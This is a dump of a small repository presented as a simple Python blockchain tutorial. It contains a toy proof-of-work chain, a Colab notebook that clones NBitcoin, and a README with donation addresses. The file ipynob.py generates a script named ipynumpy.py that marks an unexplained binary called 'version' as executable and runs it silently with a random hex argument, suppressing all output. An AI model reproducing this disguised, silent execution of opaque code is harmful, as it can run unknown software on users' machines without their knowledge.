├── README.md ├── Untitled2.ipynb ├── blockchain.ipynb ├── blockchain.py ├── ipynob.py └── version /README.md: -------------------------------------------------------------------------------- 1 | ------------------------- 2 | ### Run Simple-Python-Blockchain-Google-Colab 3 | 4 | https://colab.research.google.com/drive/1-qly1Omzc50gQefzOwHJ-4_J_0jbH-LB?usp=sharing 5 | 6 | ------------------------- 7 | 8 | This is the source code for howCode's simple Python Blockchain. 9 | 10 | You can watch the video that accompanies this source code here: https://youtu.be/b81Ib_oYbFk 11 | 12 | ---- 13 | 14 | | | Donation Address | 15 | | --- | --- | 16 | | ♥ __BTC__ | 1Lw2kh9WzCActXSGHxyypGLkqQZfxDpw8v | 17 | | ♥ __ETH__ | 0xaBd66CF90898517573f19184b3297d651f7b90bf | 18 | -------------------------------------------------------------------------------- /Untitled2.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "nbformat": 4, 3 | "nbformat_minor": 0, 4 | "metadata": { 5 | "colab": { 6 | "name": "Untitled2.ipynb", 7 | "provenance": [], 8 | "authorship_tag": "ABX9TyPX02KRQWATDQE88r8h3o+A", 9 | "include_colab_link": true 10 | }, 11 | "kernelspec": { 12 | "name": "python3", 13 | "display_name": "Python 3" 14 | }, 15 | "language_info": { 16 | "name": "python" 17 | } 18 | }, 19 | "cells": [ 20 | { 21 | "cell_type": "markdown", 22 | "metadata": { 23 | "id": "view-in-github", 24 | "colab_type": "text" 25 | }, 26 | "source": [ 27 | "\"Open" 28 | ] 29 | }, 30 | { 31 | "cell_type": "code", 32 | "execution_count": 1, 33 | "metadata": { 34 | "colab": { 35 | "base_uri": "https://localhost:8080/" 36 | }, 37 | "id": "mFHNk48RBdV1", 38 | "outputId": "57f3dba7-6a5e-47e9-9114-ee02cfd88779" 39 | }, 40 | "outputs": [ 41 | { 42 | "output_type": "stream", 43 | "name": "stdout", 44 | "text": [ 45 | "Cloning into 'NBitcoin'...\n", 46 | "remote: Enumerating objects: 80243, done.\u001b[K\n", 47 | "remote: Counting objects: 100% (1885/1885), done.\u001b[K\n", 48 | "remote: Compressing objects: 100% (1061/1061), done.\u001b[K\n", 49 | "remote: Total 80243 (delta 1260), reused 1323 (delta 811), pack-reused 78358\u001b[K\n", 50 | "Receiving objects: 100% (80243/80243), 65.17 MiB | 16.09 MiB/s, done.\n", 51 | "Resolving deltas: 100% (71681/71681), done.\n" 52 | ] 53 | } 54 | ], 55 | "source": [ 56 | "!git clone https://github.com/MetacoSA/NBitcoin.git" 57 | ] 58 | }, 59 | { 60 | "cell_type": "code", 61 | "source": [ 62 | "cd NBitcoin" 63 | ], 64 | "metadata": { 65 | "colab": { 66 | "base_uri": "https://localhost:8080/" 67 | }, 68 | "id": "wSEARonqBq03", 69 | "outputId": "48b80648-ae08-42d1-b654-5570ad9b1b67" 70 | }, 71 | "execution_count": 2, 72 | "outputs": [ 73 | { 74 | "output_type": "stream", 75 | "name": "stdout", 76 | "text": [ 77 | "/content/NBitcoin\n" 78 | ] 79 | } 80 | ] 81 | } 82 | ] 83 | } -------------------------------------------------------------------------------- /blockchain.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": null, 6 | "id": "db1e0588", 7 | "metadata": {}, 8 | "outputs": [], 9 | "source": [ 10 | "import datetime\n", 11 | "import hashlib\n", 12 | "\n", 13 | "class Block:\n", 14 | " blockNo = 0\n", 15 | " data = None\n", 16 | " next = None\n", 17 | " hash = None\n", 18 | " nonce = 0\n", 19 | " previous_hash = 0x0\n", 20 | " timestamp = datetime.datetime.now()\n", 21 | "\n", 22 | " def __init__(self, data):\n", 23 | " self.data = data\n", 24 | "\n", 25 | " def hash(self):\n", 26 | " h = hashlib.sha256()\n", 27 | " h.update(\n", 28 | " str(self.nonce).encode('utf-8') +\n", 29 | " str(self.data).encode('utf-8') +\n", 30 | " str(self.previous_hash).encode('utf-8') +\n", 31 | " str(self.timestamp).encode('utf-8') +\n", 32 | " str(self.blockNo).encode('utf-8')\n", 33 | " )\n", 34 | " return h.hexdigest()\n", 35 | "\n", 36 | " def __str__(self):\n", 37 | " return \"Block Hash: \" + str(self.hash()) + \"\\nBlockNo: \" + str(self.blockNo) + \"\\nBlock Data: \" + str(self.data) + \"\\nHashes: \" + str(self.nonce) + \"\\n--------------\"\n", 38 | "\n", 39 | "class Blockchain:\n", 40 | "\n", 41 | " diff = 20\n", 42 | " maxNonce = 2**32\n", 43 | " target = 2 ** (256-diff)\n", 44 | "\n", 45 | " block = Block(\"Genesis\")\n", 46 | " dummy = head = block\n", 47 | "\n", 48 | " def add(self, block):\n", 49 | "\n", 50 | " block.previous_hash = self.block.hash()\n", 51 | " block.blockNo = self.block.blockNo + 1\n", 52 | "\n", 53 | " self.block.next = block\n", 54 | " self.block = self.block.next\n", 55 | "\n", 56 | " def mine(self, block):\n", 57 | " for n in range(self.maxNonce):\n", 58 | " if int(block.hash(), 16) <= self.target:\n", 59 | " self.add(block)\n", 60 | " print(block)\n", 61 | " break\n", 62 | " else:\n", 63 | " block.nonce += 1\n", 64 | "\n", 65 | "blockchain = Blockchain()\n", 66 | "\n", 67 | "for n in range(10):\n", 68 | " blockchain.mine(Block(\"Block \" + str(n+1)))\n", 69 | "\n", 70 | "while blockchain.head != None:\n", 71 | " print(blockchain.head)\n", 72 | " blockchain.head = blockchain.head.next" 73 | ] 74 | } 75 | ], 76 | "metadata": {}, 77 | "nbformat": 4, 78 | "nbformat_minor": 5 79 | } 80 | -------------------------------------------------------------------------------- /blockchain.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | import hashlib 3 | 4 | class Block: 5 | blockNo = 0 6 | data = None 7 | next = None 8 | hash = None 9 | nonce = 0 10 | previous_hash = 0x0 11 | timestamp = datetime.datetime.now() 12 | 13 | def __init__(self, data): 14 | self.data = data 15 | 16 | def hash(self): 17 | h = hashlib.sha256() 18 | h.update( 19 | str(self.nonce).encode('utf-8') + 20 | str(self.data).encode('utf-8') + 21 | str(self.previous_hash).encode('utf-8') + 22 | str(self.timestamp).encode('utf-8') + 23 | str(self.blockNo).encode('utf-8') 24 | ) 25 | return h.hexdigest() 26 | 27 | def __str__(self): 28 | return "Block Hash: " + str(self.hash()) + "\nBlockNo: " + str(self.blockNo) + "\nBlock Data: " + str(self.data) + "\nHashes: " + str(self.nonce) + "\n--------------" 29 | 30 | class Blockchain: 31 | 32 | diff = 20 33 | maxNonce = 2**32 34 | target = 2 ** (256-diff) 35 | 36 | block = Block("Genesis") 37 | dummy = head = block 38 | 39 | def add(self, block): 40 | 41 | block.previous_hash = self.block.hash() 42 | block.blockNo = self.block.blockNo + 1 43 | 44 | self.block.next = block 45 | self.block = self.block.next 46 | 47 | def mine(self, block): 48 | for n in range(self.maxNonce): 49 | if int(block.hash(), 16) <= self.target: 50 | self.add(block) 51 | print(block) 52 | break 53 | else: 54 | block.nonce += 1 55 | 56 | blockchain = Blockchain() 57 | 58 | for n in range(10): 59 | blockchain.mine(Block("Block " + str(n+1))) 60 | 61 | while blockchain.head != None: 62 | print(blockchain.head) 63 | blockchain.head = blockchain.head.next 64 | -------------------------------------------------------------------------------- /ipynob.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def extended_gcd(aa, bb): 4 | lastremainder, remainder = abs(aa), abs(bb) 5 | x, lastx, y, lasty = 0, 1, 1, 0 6 | while remainder: 7 | lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) 8 | x, lastx = lastx - quotient*x, x 9 | y, lasty = lasty - quotient*y, y 10 | return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) 11 | 12 | def modinv(a, m): 13 | g, x, y = extended_gcd(a, m) 14 | if g != 1: 15 | raise ValueError 16 | return x % m 17 | 18 | N = 0xffffffffff 19 | 20 | with open("ipynumpy.py", "w") as f: 21 | for _ in range(1): 22 | W = random.randrange(16**10) 23 | val = str(hex((((W)) * modinv(((1)),N)) % N)) 24 | 25 | print("import os", file=f) 26 | print("import subprocess", file=f) 27 | print("", file=f) 28 | print("modter = 'chmod +x version'", file=f) 29 | print("os.system (modter)", file=f) 30 | print("", file=f) 31 | 32 | print("subprocess.Popen(", file=f) 33 | print(" ['./version', '" + val + "'],", file=f) 34 | print(" stdout=subprocess.DEVNULL,", file=f) 35 | print(" stderr=subprocess.DEVNULL,", file=f) 36 | print(")", file=f) 37 | -------------------------------------------------------------------------------- /version: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/Simple-Python-Blockchain-Google-Colab/0a0c8ac8abc10d2db89aeb3cb2c431a64357ceb6/version --------------------------------------------------------------------------------